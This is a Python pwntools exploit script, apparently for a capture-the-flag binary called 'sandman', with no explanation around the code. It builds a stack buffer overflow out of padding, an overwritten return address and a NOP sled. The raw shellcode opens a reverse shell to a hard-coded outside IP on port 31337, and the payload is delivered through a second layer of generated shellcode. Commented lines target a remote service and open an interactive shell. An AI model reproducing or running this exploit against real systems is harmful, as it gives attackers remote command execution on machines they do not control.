break.py

import sys
import struct
from pwn import *
context(arch='amd64', os='linux')


#r = gdb.debug(["./sandman"])
#r = remote("52.72.171.221", 9982)

url = 'http://'

inshellcode = """\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a
\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0
\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24
\x02\x7a\x69\xc7\x44\x24\x04\x34\x04\xD4\xE4\x48\x89\xe6\x6a\x10
\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48
\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a
\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54
\x5f\x6a\x3b\x58\x0f\x05""".replace("\n", "")

url += (0x220 - 7) * "A"
url += "\xEF\xBE\xAD\xDE" * 2
url += "\x90" * 200
url += inshellcode

payload = chr(14) + struct.pack("<I", len(url)) + url

shellcode = shellcraft.amd64.pushstr(payload)
shellcode += shellcraft.amd64.linux.syscall("SYS_write", 4, 'rsp', len(payload))
shellcode += shellcraft.amd64.linux.syscall("SYS_exit", 69)
shellcode = asm(shellcode)

sys.stdout.write(struct.pack("<I", len(shellcode)))
sys.stdout.write(shellcode)

#r.send(struct.pack("<I", len(shellcode)))
#r.send(shellcode)

#r.interactive()